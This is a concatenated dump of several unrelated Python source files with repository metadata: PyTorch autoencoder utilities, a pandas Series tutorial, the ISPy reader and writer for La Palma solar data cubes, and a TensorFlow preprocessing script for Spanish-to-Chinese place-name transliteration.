mu_x_var_dist.clamp_(min=10**-16)\n\n    # N * 1\n    log_var_sum = log_var.sum(1, keepdim = True)\n\n    # 0-dim\n    d_log_2pi = dim * math.log(2 * math.pi)\n    \n    # N * B\n    out = -0.5 * (d_log_2pi + log_var_sum + mu_x_var_dist)\n\n    return out.t() # B * N\n\n \n# ================================ Initialization part ================================    \n    \n\ndef initialize_weights_kaiming_normal(*nets):\n    for net in nets:\n        for m in net.modules():\n            if isinstance( m, (nn.Conv2d,nn.Linear,nn.ConvTranspose2d) ):\n                if hasattr(m,'weight'):\n                    torch.nn.init.kaiming_normal_(m.weight.data)\n                if hasattr(m.bias,'data'):\n                    m.bias.data.zero_()\n    logging.debug('Weight initialized with kaiming_normal')\n    \n\n# ================================ Breakpoint tool part ================================\n    \ndef breakpoint():\n    ''' to place break point somewhere '''\n    from IPython.core.debugger import set_trace;set_trace()\n", "meta": {"hexsha": "36d6162ce9fa898bed6c44ede1fca5d541c65648", "size": 13516, "ext": "py", "lang": "Python", "max_stars_repo_path": "utils.py", "max_stars_repo_name": "ZejianLi/Pairwise-Indepence-Autoencoder", "max_stars_repo_head_hexsha": "2da6b32ba3bcf8d4bb4db7ff0aceff7e02ce0997", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-04-22T15:18:42.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-30T06:04:56.000Z", "max_issues_repo_path": "utils.py", "max_issues_repo_name": "ZejianLi/Pairwise-Indepence-Autoencoder", "max_issues_repo_head_hexsha": "2da6b32ba3bcf8d4bb4db7ff0aceff7e02ce0997", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "utils.py", "max_forks_repo_name": "ZejianLi/Pairwise-Indepence-Autoencoder", "max_forks_repo_head_hexsha": "2da6b32ba3bcf8d4bb4db7ff0aceff7e02ce0997", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-06-28T12:05:46.000Z", "max_forks_repo_forks_event_max_datetime": "2019-06-28T12:05:46.000Z", "avg_line_length": 30.7181818182, "max_line_length": 150, "alphanum_fraction": 0.5669576798, "include": true, "reason": "import numpy", "num_tokens": 3859, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906117831389, "lm_q2_score": 0.10669060246682488, "lm_q1q2_score": 0.0500155528019345}}
{"text": "# coding: utf-8\nfrom pandas import Series, DataFrame\nimport pandas as pd\nimport numpy as np\n\nobj = Series([4,5,6,7])\nprint obj.values\nprint obj.index\n\nobj2 = Series([4,5,-6,7,8],index=['a','b','c','d','e'])\nprint obj2\nprint obj2.index\nprint obj2['b']\nprint obj2[obj2 > 0]\nprint obj2 * 2\nprint np.exp(obj2)\nprint 'b' in obj2\nprint 'f' in obj2\n\n\n\nsdata = {'yang':35000,\"zhi\":23000,\"wei\":12122}\nobj3 = Series(sdata)\nprint obj3\nname = ['yang','zhi','wei','coo']\nobj4 = Series(sdata,index=name)\nprint obj4\n\nprint pd.isnull(obj4)\nprint pd.notnull(obj4)\n\nprint obj3 + obj4\n\nobj4.name = 'population'\nprint obj4.name\n\nobj4.index.name = 'state'\nprint obj4.index.name\nprint obj4.index\n\nobj.index = ['bob','steve','jeef','ryan']\nprint obj\n", "meta": {"hexsha": "9c1fa003df650193afe33e795afd6625eb958103", "size": 727, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas_learn/somedata.py", "max_stars_repo_name": "fossabot/experiment_code", "max_stars_repo_head_hexsha": "de0fdfc4f6cc61cd1941af8df6e39491fada0e6b", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "pandas_learn/somedata.py", "max_issues_repo_name": "fossabot/experiment_code", "max_issues_repo_head_hexsha": "de0fdfc4f6cc61cd1941af8df6e39491fada0e6b", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pandas_learn/somedata.py", "max_forks_repo_name": "fossabot/experiment_code", "max_forks_repo_head_hexsha": "de0fdfc4f6cc61cd1941af8df6e39491fada0e6b", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 16.9069767442, "max_line_length": 55, "alphanum_fraction": 0.6836313618, "include": true, "reason": "import numpy", "num_tokens": 250, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4687906117831389, "lm_q2_score": 0.10669060175672705, "lm_q1q2_score": 0.05001555246904731}}
{"text": "\"\"\"\nPython tools to read and write 'La Palma' cubes\n\nMerge of some routines written by Tiago Pereira (github:helita), J. de la Cruz Rodriguez,\nAlex Pietrow (github:crispy), Carlos Diaz and G. Vissers (ISP/SU 2019)\n\n\"\"\"\nimport numpy as np\nimport os\nimport sys\n\n\n# ========================================================================\ndef head(name, verbose=False, appendFormat=False):\n    \"\"\"\n    Get the header of a legacy 'La Palma' cube\n\n    Parameters\n    ----------\n    name : str\n        name of the file \n    verbose : bool, optional\n        print out the header information (Default value = True)\n    appendFormat : bool, optional\n        different format to ensure append operation (Default =False)\n\n    Returns\n    -------\n    header : tuple\n        header information in order (nx, ny, nt, nstokes, dtype, ndims)\n\n    Example\n    -------\n    >>> h = head('crispex_3950_2016-09-19T09:28:36_scans=11-117_time-corrected_im.fcube')\n    ('head:', '[dtype=float32, ndims=3, nx=1734, ny=1240, nt=3317, nstokes=1] -> crispex_3950_2016-09-19T09:28:36_scans=11-117_time-corrected_im.fcube')\n    >>> nx, ny, nt, ns, dtype, ndims = head('crispex_3950_2016-09-19T09:28:36_scans=11-117_time-corrected_im.fcube', verbose=False)\n    >>> nx, ny, ns\n    (1734, 1240, 1)\n    \"\"\"\n\n    inam = 'head:'\n\n    # Open file\n    datfil = open(name, 'rb')\n\n    # get header and extract dimensions\n    head = (np.fromfile(datfil, dtype=np.dtype('a512'), count=1))[0]\n\n    dum = head.decode(\"utf-8\").split()\n    datfil.close()\n\n    ndims = 0\n    dtype = 0\n    nx = 0\n    ny = 0\n    nt = 0\n    nstokes = 1\n\n    for it in dum:\n        du1 = it.split(\"=\")\n        if(\"dims\" in du1[0]):\n            ndims = int((du1[1].split(','))[0])\n        elif(\"datatype\" in du1[0]):\n            dtype = int(du1[1].split(',')[0])\n        elif(\"nx\" in du1[0]):\n            nx = int(du1[1].split(',')[0])\n        elif(\"ny\" in du1[0]):\n            ny = int(du1[1].split(',')[0])\n        elif(\"nt\" in du1[0]):\n            try:\n                nt = int(du1[1].split(',')[0])\n            except:\n                pass # (integer label)\n        elif(\"stokes\" in du1[0]):\n            du2 = du1[1].split(']')\n            nstokes = int(np.size(du2[0].split(',')))\n\n    if(dtype == 1):\n        dtype = np.dtype('b')\n    elif(dtype == 2):\n        dtype = np.dtype('h')\n    elif(dtype == 3):\n        dtype = np.dtype('i')\n    elif(dtype == 4):\n        dtype = np.dtype('f')\n    elif(dtype == 5):\n        dtype = np.dtype('d')\n    else:\n        print((inam, 'Warning, dtype={0} not supported!'.format(dtype)))\n\n    if(verbose):\n        print(inam, \"[dtype={0}, ndims={1}, nx={2}, ny={3}, nt={4}, nstokes={5}] -> {6}\".format(\n            dtype, ndims, nx, ny, nt, nstokes, os.path.basename(name)))\n\n    if appendFormat is True:\n        # read header and convert to string\n        h = np.fromfile(name, dtype='uint8', count=512)\n        header = ''\n        for s in h[h > 0]:\n            header += chr(s)\n        # start reading at 'datatype'\n        hd = header[header.lower().find('datatype'):]\n        hd = hd.split(':')[0].replace(',', ' ').split()\n        # Types:   uint8  int16 int32 float32\n        typelist = ['u1', 'i2', 'i4', 'f4']\n        # extract datatype\n        try:\n            dtype = typelist[int(hd[0].split('=')[1]) - 1]\n        except:\n            print(header)\n            raise IOError('getheader: datatype invalid or missing')\n        # extract endianness\n        try:\n            if hd[-1].split('=')[0].lower() != 'endian':\n                raise IndexError()\n            endian = hd[-1].split('=')[1]\n        except IndexError:\n            print(header)\n            raise IOError('getheader: endianess missing.')\n        if endian.lower() == 'l':\n            dtype = '<' + dtype\n        else:\n            dtype = '>' + dtype\n        # extract dims\n        try:\n            if hd[2].split('=')[0].lower() != 'dims':\n                raise IndexError()\n            dims = int(hd[2].split('=')[1])\n            if dims not in [2, 3]:\n                raise ValueError('Invalid dims=%i (must be 2 or 3)' % dims)\n        except IndexError:\n            print(header)\n            raise IOError('getheader: dims invalid or missing.')\n        try:\n            if hd[3].split('=')[0].lower() != 'nx':\n                raise IndexError()\n            nx = int(hd[3].split('=')[1])\n        except:\n            print(header)\n            raise IOError('getheader: nx invalid or missing.')\n        try:\n            if hd[4].split('=')[0].lower() != 'ny':\n                raise IndexError()\n            ny = int(hd[4].split('=')[1])\n        except:\n            print(header)\n            raise IOError('getheader: ny invalid or missing.')\n        if dims == 3:\n            try:\n                if hd[5].split('=')[0].lower() != 'nt':\n                    raise IndexError()\n                nt = int(hd[5].split('=')[1])\n            except:\n                print(header)\n                raise IOError('getheader: nt invalid or missing.')\n            shape = (nx, ny, nt)\n        else:\n            shape = (nx, ny)\n        return [shape, dtype, header]\n\n    return nx, ny, nt, nstokes, dtype, ndims\n\n\n# ========================================================================\ndef read(cube, spnw=None, spformat='_sp', verb=False):\n    \"\"\"\n    Read the full cube from a La Palma format file\n\n    Parameters\n    ----------\n    cube : str\n        filename, has to be .icube or .fcube\n    spnw : str or int, optional \n        Specific filename of spectral cube OR number of wavelength steps (Default value = None)\n    spformat : str, optional\n        filename identifier for the spectral cube (Default value = '_sp')\n    verb : bool, optional\n        Verbose mode. (Default value = False)\n\n    Returns\n    -------\n    cube_array: ndarray\n        5D cube of shape [nt,ns,nw,nx,ny]\n\n    Examples\n    --------\n    >>> from ISPy.io import lapalma as lp\n    >>> cube_a = lp.read('filename.fcube') # It searches for 'filename_sp.fcube' in the same path\n    >>> cube_b = lp.read('filename.fcube' , 8)\n    >>> cube_c = lp.read('filename.fcube' , 'filename_sp.fcube')\n\n    :Authors: \n        Alex Pietrow (ISP/SU 2019), Carlos Diaz (ISP/SU 2019)\n    \"\"\"\n    if spnw is None:\n        cube_format = cube[:-6]+'{0}.'+cube[-5:]\n        f1 = cube_format.format('')\n        f2 = cube_format.format(spformat)\n        if not os.path.isfile(f2):\n            raise ValueError('File '+f2+' was not found. Please '\n                +'include the name of spectral file or wavelength steps.')\n        nx, ny, ndum, ns, dtype, ndim = head(f1, False)\n        nw, nt, ndum, ns, dtype, ndim = head(f2, False)\n        cube_array = np.memmap(f1, shape=(\n            nt, ns, nw, ny, nx), offset=512, dtype=dtype, mode='r')\n\n\n    elif type(spnw) is str:\n        f2 = str(spnw)\n        if not os.path.isfile(f2):\n            raise ValueError('File '+f2+' was not found. Please '\n                +'include the name of spectral file or wavelength steps.')\n        nx, ny, ndum, ns, dtype, ndim = head(f1, False)\n        nw, nt, ndum, ns, dtype, ndim = head(f2, False)\n        cube_array = np.memmap(f1, shape=(\n            nt, ns, nw, ny, nx), offset=512, dtype=dtype, mode='r')\n\n\n    elif type(spnw) is int:\n        nw = int(spnw)\n        nx, ny, hh2, ns, dtype, ndim = head(cube, False)\n        nt = int(hh2/nw/ns)\n        cube_array = np.memmap(cube, shape=(\n            nt, ns, nw, ny, nx), offset=512, dtype=dtype, mode='r')\n\n\n    if(verb):\n        print(\"[dtype={0}, nx={2}, ny={3}, nt={4}, nstokes={5}, nwav={1}] -> {6}\".format(\n            dtype, nw, nx, ny, nt, ns, os.path.basename(cube)))\n\n    return cube_array\n\n\n# ========================================================================\ndef mk_header(image):\n    \"\"\"\n    Create a La Palma format header of an image array \n\n    Parameters\n    ----------\n    image : ndarray\n        2D or 3D image array in La Palma ordering (nx, ny, nt)\n\n    Returns\n    -------\n    header : str\n        header of the cube\n    \"\"\"\n    from struct import pack\n    ss = image.shape\n    # only 2D or 3D arrays\n    if len(ss) not in [2, 3]:\n        raise IndexError(\n            'make_header: input array must be 2D or 3D, got %iD' % len(ss))\n    dtypes = {'int8': ['(byte)', 1], 'int16': ['(integer)', 2], 'int32': [\n        '(long)', 3], 'float32': ['(float)', 4]}\n    if str(image.dtype) not in dtypes:\n        raise ValueError('make_header: array type' +\n                         ' %s not supported, must be one of %s' % (image.dtype, list(dtypes.keys())))\n    sdt = dtypes[str(image.dtype)]\n    header = ' datatype=%s %s, dims=%i, nx=%i, ny=%i' % (\n        sdt[1], sdt[0], len(ss), ss[0], ss[1])\n    if len(ss) == 3:\n        header += ', nt=%i' % (ss[2])\n    # endianess\n    if pack('@h', 1) == pack('<h', 1):\n        header += ', endian=l'\n    else:\n        header += ', endian=b'\n    return header\n\n\n# ========================================================================\ndef writeto(filename, image, extraheader='', dtype=None, verbose=False,\n            append=False):\n    \"\"\"\n    Submodule of \"write\". It writes a cube to disk in LaPalma format.\n    Partially from https://github.com/ITA-Solar/helita/blob/master/helita/io/lp.py\n\n    Parameters\n    ----------\n    filename : str\n        name of the file\n    image : ndarray\n        data allocated in memory\n    extraheader : str, optional\n        extra header information to append to standard header (Default value = '')\n    dtype : str, optional\n        data type of the image (Default value = None)\n    verbose : bool, optional\n        verbose mode (Default value = False)\n    append : bool, optional\n        append `image` to existing file (Default value = False)\n\n    Returns\n    -------\n    NoneType\n\n    Examples\n    --------\n    writeto('path/cube.fcube', image, append=True)\n    \"\"\"\n    \n    if not os.path.isfile(filename):\n        append = False\n    # use dtype from array, if none is specified\n    if dtype is None:\n        dtype = image.dtype\n    image = image.astype(dtype)\n    if append:\n        # check if image sizes/types are consistent with file\n        sin, t, h = head(filename, verbose=verbose,\n                           appendFormat=True)  # getheader(filename)\n        if sin[:2] != image.shape[:2]:\n            raise IOError('writeto: trying to write' +\n                          ' %s images, but %s has %s images!' %\n                          (repr(image.shape[:2]), filename, repr(sin[:2])))\n        if np.dtype(t) != image.dtype:\n            raise IOError('writeto: trying to write' +\n                          ' %s type images, but %s nas %s images' %\n                          (image.dtype, filename, np.dtype(t)))\n        # add the nt of current image to the header\n        hloc = h.lower().find('nt=')\n        new_nt = str(sin[-1] + image.shape[-1])\n        header = h[:hloc + 3] + new_nt + h[hloc + 3 + len(str(sin[-1])):]\n    else:\n        header = mk_header(image)\n    if extraheader:\n        header += ' : ' + extraheader\n    # convert string to [unsigned] byte array\n    hh = np.zeros(512, dtype='uint8')\n    for i, ss in enumerate(header):\n        hh[i] = ord(ss)\n    # write header to file\n    file_arr = np.memmap(filename, dtype='uint8',\n                         mode=append and 'r+' or 'w+', shape=(512,))\n    file_arr[:512] = hh[:]\n\n    del file_arr\n    # offset if appending\n    apoff = append and np.prod(sin) * image.dtype.itemsize or 0\n    # write array to file\n    file_arr = np.memmap(filename, dtype=dtype, mode='r+',\n                         order='F', offset=512 + apoff, shape=image.shape)\n    file_arr[:] = image[:]\n\n    del file_arr\n    if verbose:\n        if append:\n            print(('Appended %s %s array into %s.' %\n                   (image.shape, dtype, filename)))\n        else:\n            print(('Wrote %s, %s array of shape %s' %\n                   (filename, dtype, image.shape)))\n    return\n\n\n# ========================================================================\ndef write(cube_array, name, stokes=True, sp=False, path=''):\n    \"\"\"\n    Write a data cube in La Palma format to disc \n\n    Parameters\n    ----------\n    cube_array : ndarray\n        datacube in form of [t,s,w,x,y]\n    name : str\n        name of file with .icube/fcube extention\n    stokes : bool, optional\n        flag for if data has stokes or not. (Default value = True)\n    sp : bool, optional\n        Save spectral cube of shape. (Default value = False)\n    path : str, optional\n        Filepath where file needs to be saved.(Default value = '')\n\n    Examples\n    --------\n    >>> from ISPy.io import lapalma as lp\n    >>> lp.write(cube_array, 'cube.fcube', path='fits/')\n\n    :Authors: \n        Alex Pietrow (ISP/SU 2019), Carlos Diaz (ISP/SU 2019)\n    \"\"\"\n\n    # Reshaping to save it in the right format:\n    intensity = np.moveaxis(cube_array.astype(np.float32), [\n                            0, 1, 2, 3, 4], [1, 0, -1, -2, 2])\n\n    # 'write_buf' function is included\n    if not stokes:\n        nt, nx, ny, nw = intensity.shape\n        ax = [(1, 2, 0, 3), (3, 0, 2, 1)]\n        rs = [(nx, ny, nt * nw), (nw, nt, ny * nx)]\n        extrahd = ''\n    else:\n        ns, nt, nx, ny, nw = intensity.shape\n        ax = [(2, 3, 1, 0, 4), (4, 1, 3, 2, 0)]\n        rs = [(nx, ny, nt * ns * nw), (nw, nt, ny * nx * ns)]\n        extrahd = ', stokes=[I,Q,U,V], ns=4'\n\n    # this is the image cube:\n    im = np.transpose(intensity, axes=ax[0])\n    im = im.reshape(rs[0])\n    # this is the spectral cube\n    if sp:\n        sp = np.transpose(intensity, axes=ax[1])\n        sp = sp.reshape(rs[1])\n        writeto(path+name+'_sp.fcube', sp, extraheader=extrahd)\n\n    writeto(path+name+'.fcube', im, extraheader=extrahd)\n    return\n\n\n# ========================================================================\ndef get(filename, index, verb=False):\n    \"\"\"\n    Read a 2D image (slice) given a known index from a La Palma cube.\n\n    Parameters\n    ----------\n    filename : str\n        file to be opened. Has to be .icube or .fcube\n    index : int\n        chosen frame, where frame is t*nw*ns + s*nw + w\n        t: time or scan number\n        s: stokes parameter\n        w: wavelength step\n    verbose : bool, optional\n        Verbose model. (Default value = False)\n\n    Returns\n    -------\n    image : ndarray\n        2D image slice\n\n    Examples\n    --------\n    >>> image = lp_get('cube.fcube', 0)\n\n    :Authors:\n        G. Vissers (ITA UiO, 2016), A.G.M. Pietrow (2018), Carlos Diaz (ISP/SU 2019)\n    \"\"\"\n    nx, ny, ndum, nstokes, dt, dum1 = head(filename, verb)\n    # header offset + stepping through cube\n    offset = 512 + index * nx * ny * np.dtype(dt).itemsize\n    image = np.memmap(filename, dtype=dt, mode='r', shape=(nx, ny), offset=offset,\n                      order='F')\n    return image.T\n\n\n# ========================================================================\ndef put(filename, image, append=True, verbose=False, stokes=True):\n    \"\"\"\n    Append a new cube/slice to a pre-existent La Palma cube.\n\n    Parameters\n    ----------\n    filename : str\n        name of file with .icube/fcube extention\n    image : ndarray\n        datacube in form of [t,s,w,x,y]\n    append : bool, optional\n        append `image` to an existing file (Default value = True)\n    verbose : bool, optional\n        verbose mode (default False)\n    stokes : bool, optional\n        data has Stokes parameters (default True)\n\n    Examples\n    --------\n    >>> lp_put('cube.fcube', cube2)\n\n    To do:\n        Insert a slice in a La Palma cube\n\n    :Authors: \n        Carlos Diaz,  G. Vissers, A.G.M. Pietrow (ISP/SU 2019)\n    \"\"\"\n\n    # Reshaping to save it in the right format:\n    intensity = np.moveaxis(image.astype(np.float32), [\n                            0, 1, 2, 3, 4], [1, 0, -1, -2, 2])\n\n    # 'write_buf' function is included\n    if not stokes:\n        nt, nx, ny, nw = intensity.shape\n        ax = [(1, 2, 0, 3), (3, 0, 2, 1)]\n        rs = [(nx, ny, nt * nw), (nw, nt, ny * nx)]\n        extrahd = ''\n    else:\n        ns, nt, nx, ny, nw = intensity.shape\n        ax = [(2, 3, 1, 0, 4), (4, 1, 3, 2, 0)]\n        rs = [(nx, ny, nt * ns * nw), (nw, nt, ny * nx * ns)]\n        extrahd = ', stokes=[I,Q,U,V], ns=4'\n\n    # this is the image cube:\n    im = np.transpose(intensity, axes=ax[0])\n    im = im.reshape(rs[0])\n\n    writeto(filename, im, verbose=verbose, append=append)\n    return\n\n", "meta": {"hexsha": "4dda4748c33db26476f0d20482f502cb461b4d94", "size": 16324, "ext": "py", "lang": "Python", "max_stars_repo_path": "ISPy/io/lapalma.py", "max_stars_repo_name": "jaimedelacruz/ISPy", "max_stars_repo_head_hexsha": "eff9aa2f06d395ce8af2cbeb26022b2eea20766d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-11-27T05:29:28.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-08T10:55:34.000Z", "max_issues_repo_path": "ISPy/io/lapalma.py", "max_issues_repo_name": "jaimedelacruz/ISPy", "max_issues_repo_head_hexsha": "eff9aa2f06d395ce8af2cbeb26022b2eea20766d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2019-10-21T13:57:42.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-19T11:13:35.000Z", "max_forks_repo_path": "ISPy/io/lapalma.py", "max_forks_repo_name": "jaimedelacruz/ISPy", "max_forks_repo_head_hexsha": "eff9aa2f06d395ce8af2cbeb26022b2eea20766d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-08-28T11:01:30.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-20T14:31:04.000Z", "avg_line_length": 32.4532803181, "max_line_length": 152, "alphanum_fraction": 0.5156211713, "include": true, "reason": "import numpy", "num_tokens": 4511, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879062662624377, "lm_q2_score": 0.10669059820623797, "lm_q1q2_score": 0.0500155523882311}}
{"text": "import os\nimport re\nimport pickle\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\nfrom sklearn.model_selection import train_test_split\n\nPADDING_TOKEN = \"~\"\nSTART_TOKEN = \"^\"\nEND_TOKEN = \"$\"\n# \u5916\u6587\u5730\u540d\u6700\u5927\u957f\u5ea6\uff08\u5b57\u6bcd\u6570\u91cf\uff09\nDM_MAX_LENGTH_SOURCE = 100\n# \u6c49\u8bed\u5730\u540d\u6700\u5927\u957f\u5ea6\uff08\u6c49\u5b57\u6570\u91cf\uff09\nDM_MAX_LENGTH_CHINESE = 50\n\n# DATA_FOLDER = \"drive/MyDrive/Colab Notebooks/dmt/data\"\nDATA_FOLDER = \"data\"\nBATCH_SIZE = 64\n\n\ndef preprocess_dm_source(dm):\n    \"\"\"\n    \u5904\u7406\u5916\u6587\u5730\u540d\n    1\u3001\u5c06\u591a\u4e2a\u7a7a\u683c\u66ff\u6362\u6210\u4e00\u4e2a\u7a7a\u683c\n    2\u3001\u5220\u9664\u4e24\u7aef\u7684\u7a7a\u683c\u3001\u6362\u884c\u7b26\u7b49\n    :param dm: \u4e00\u4e2a\u5730\u540d\n    :return: \u5904\u7406\u540e\u7684\u5730\u540d\n    \"\"\"\n    dm = re.sub(r'[\" \"]+', \" \", dm)\n    dm = dm.strip()\n    return dm\n\n\ndef preprocess_dm_chinese(dm):\n    \"\"\"\n    \u5904\u7406\u4e2d\u6587\u5730\u540d\n    1\u3001\u5220\u9664\u6240\u6709\u7a7a\u683c\n    2\u3001\u5220\u9664\u4e24\u7aef\u7684\u7a7a\u683c\u3001\u6362\u884c\u7b26\u7b49\n    :param dm: \u4e00\u4e2a\u5730\u540d\n    :return: \u5904\u7406\u540e\u7684\u5730\u540d\n    \"\"\"\n    dm = re.sub(r' ', \"\", dm)\n    dm = dm.strip()\n    return dm\n\n\ndef load_data(file_path):\n    \"\"\"\n    \u8bfb\u53d6\u5730\u540d\u6587\u4ef6\uff0c\u89e3\u6790\u51fa\u5916\u6587\u548c\u4e2d\u6587\u7684\u5b57\u7b26\u603b\u6570\uff08\u53bb\u91cd\u540e\uff09\uff0c\u505a\u6210\u5b57\u7b26\u548c\u7d22\u5f15\u6620\u5c04\u8868\u3002\n    \u52a0\u5de5\u5730\u540d\u6570\u636e\uff0c\u9996\u5c3e\u589e\u52a0\u5f00\u59cb\u548c\u7ed3\u675f\u6807\u8bb0\u3002\n    :param file_path: \u6587\u4ef6\u8def\u5f84\n    :return: \u5b57\u7b26\u548c\u7d22\u5f15\u6620\u5c04\u8868, \u5730\u540d\u5217\u8868\n    \"\"\"\n    df = pd.read_table(file_path)\n    df.columns = ['source', 'chinese']\n    # \u83b7\u53d6\u5916\u6587\u548c\u4e2d\u6587\u5b57\u7b26\u6570\u7ec4\n    characters_source = sorted(list(set(df.source.unique().sum())))\n    characters_chinese = sorted(list(set(df.chinese.unique().sum())))\n\n    # \u6dfb\u52a0\u7684\u5f00\u5934\u7ed3\u5c3e\u7b26\u53f7\n    special_characters = [PADDING_TOKEN, START_TOKEN, END_TOKEN]\n    token_to_idx_source = dict([(char, i) for i, char in enumerate(special_characters + characters_source)])\n    token_to_idx_zh = dict([(char, i) for i, char in enumerate(special_characters + characters_chinese)])\n    idx_to_token_source = dict([(i, char) for i, char in enumerate(special_characters + characters_source)])\n    idx_to_token_zh = dict([(i, char) for i, char in enumerate(special_characters + characters_chinese)])\n\n    # \u7ed9\u5730\u540d\u6dfb\u52a0\u5f00\u59cb\u548c\u7ed3\u675f\u7b26\n    df['source'] = df['source'].apply(lambda x: START_TOKEN + preprocess_dm_source(x) + END_TOKEN)\n    df['chinese'] = df['chinese'].apply(lambda x: START_TOKEN + preprocess_dm_chinese(x) + END_TOKEN)\n    # \u83b7\u53d6\u5730\u540d\u6570\u7ec4\uff0c1\u7ef4\n    dm_text_source = df.source.values.tolist()\n    dm_text_chinese = df.chinese.values.tolist()\n    return (dm_text_source, dm_text_chinese), (token_to_idx_source, token_to_idx_zh), (idx_to_token_source, idx_to_token_zh)\n\n\ndef dm_to_ids(dm_text, token_to_idx):\n    \"\"\"\n    \u5c06\u5916\u6587\u5730\u540d\u8f6c\u6362\u6210\u5355\u8bcd\u7d22\u5f15\u6570\u7ec4\uff0c\u4e2d\u6587\u5730\u540d\u8f6c\u6362\u6210\u6c49\u5b57\u7d22\u5f15\u6570\u7ec4\n    :param dm_text: \u4e00\u4e2a\u5143\u7ec4\uff0c\u5305\u542b\uff1a\u5916\u6587\u5730\u540d\u6570\u7ec4\u548c\u4e2d\u6587\u5730\u540d\u6570\u7ec4\uff0c\u6570\u7ec4\u90fd\u662f1\u7ef4\u7684\n    :param token_idx: \u4e00\u4e2a\u5143\u7ec4\uff0c\u5305\u542b\uff1a\u5916\u6587\u548c\u4e2d\u6587\u7684\u5b57\u7b26\u5230\u7d22\u5f15\u7684\u6620\u5c04\u8868\n    :return: \u5916\u6587\u5730\u540d\u5355\u8bcd\u7d22\u5f15\u6570\u7ec4 / \u4e2d\u6587\u5730\u540d\u6c49\u5b57\u7d22\u5f15\u6570\u7ec4, 2D, shape(\u6570\u636e\u96c6\u7684\u5927\u5c0f, \u8bed\u79cd\u5730\u540d\u7684\u6700\u5927\u957f\u5ea6-\u9884\u5b9a\u4e49)\n    \"\"\"\n    dm_text_source, dm_text_chinese = dm_text\n    token_to_idx_source, token_to_idx_zh = token_to_idx\n    # \u4f7f\u7528\u56fa\u5b9a\u957f\u5ea6\uff0c\u66ff\u4ee3\u4ece\u6570\u636e\u96c6\u4e2d\u67e5\u627e\u6700\u5927\u957f\u5ea6\n    # max_length_source = max([len(dm) for dm in dm_text_source]) + 2\n    # max_length_chinese = max([len(dm) for dm in dm_text_chinese]) + 2\n    # print(f\"\u5916\u6587\u5730\u540d\u6700\u5927\u957f\u5ea6\uff1a{max_length_source}\")\n    # print(f\"\u4e2d\u6587\u5730\u540d\u6700\u5927\u957f\u5ea6\uff1a{max_length_chinese}\")\n\n    # \u5c06\u5730\u540d\u6570\u636e\u8f6c\u6362\u6210\u5b9a\u957f\uff0c\u957f\u5ea6\u4e3a\u6700\u957f\u5730\u540d\u7684\u957f\u5ea6\u3002padding\u5185\u5bb9\u4e3a\uff1a0(\u5b57\u7b26\u5230\u7d22\u5f15\u7684\u6620\u5c04\u8868\u4e2d\uff0c\u628aPADDING_TOKEN\u653e\u5728\u7b2c\u4e00\u4f4d\uff0c\u6240\u4ee5\u5b83\u7684index\u662f0)\n    dm_ids_source = np.zeros((len(dm_text_source), DM_MAX_LENGTH_SOURCE), dtype=np.float32)\n    dm_ids_chinese = np.zeros((len(dm_text_chinese), DM_MAX_LENGTH_CHINESE), dtype=np.float32)\n\n    for i in range(len(dm_text_source)):\n        one_dm_source = dm_text_source[i]\n        one_dm_chinese = dm_text_chinese[i]\n\n        tokens_source = list(one_dm_source)\n        tokens_chinese = list(one_dm_chinese)\n\n        end_index_source = 0\n        end_index_chinese = 0\n        for index, token in enumerate(tokens_source):\n            if token != \"\":\n                dm_ids_source[i][index + 1] = token_to_idx_source[token]\n                end_index_source = end_index_source + 1\n\n        for index, token in enumerate(tokens_chinese):\n            if token != \"\":\n                dm_ids_chinese[i][index + 1] = token_to_idx_zh[token]\n                end_index_chinese = end_index_chinese + 1\n\n    return dm_ids_source, dm_ids_chinese\n\n\ndef get_numpy_array_from_dataset(ds):\n    source = np.concatenate([inp for (inp, targ) in ds.as_numpy_iterator()])\n    target = np.concatenate([targ for (inp, targ) in ds.as_numpy_iterator()])\n    return source, target\n\n\ndef preprocess_and_save():\n    dm_text, token_to_idx, idx_to_token = load_data(os.path.join(DATA_FOLDER, \"argentine-chinese.txt\"))\n\n    dm_ids_source, dm_ids_chinese = dm_to_ids(dm_text, token_to_idx)\n\n    # print(dm_ids_source.shape)\n    # print(dm_ids_chinese.shape)\n    # print(token_idx)\n    # print(idx_token)\n\n    # shuffle\n    all_dataset = tf.data.Dataset.from_tensor_slices((dm_ids_source, dm_ids_chinese))\n    all_dataset = all_dataset.shuffle(6000).batch(BATCH_SIZE, drop_remainder=False)\n    all_npa_source, all_npa_chinese = get_numpy_array_from_dataset(all_dataset)\n\n    # split to train and validate\n    source_dm_train, source_dm_val, chinese_dm_train, chinese_dm_val = train_test_split(all_npa_source, all_npa_chinese,\n                                                                                        test_size=0.2)\n\n    # drop remainder\n    train_dataset = tf.data.Dataset.from_tensor_slices((source_dm_train, chinese_dm_train))\n    train_dataset = train_dataset.batch(BATCH_SIZE, drop_remainder=True)\n    val_dataset = 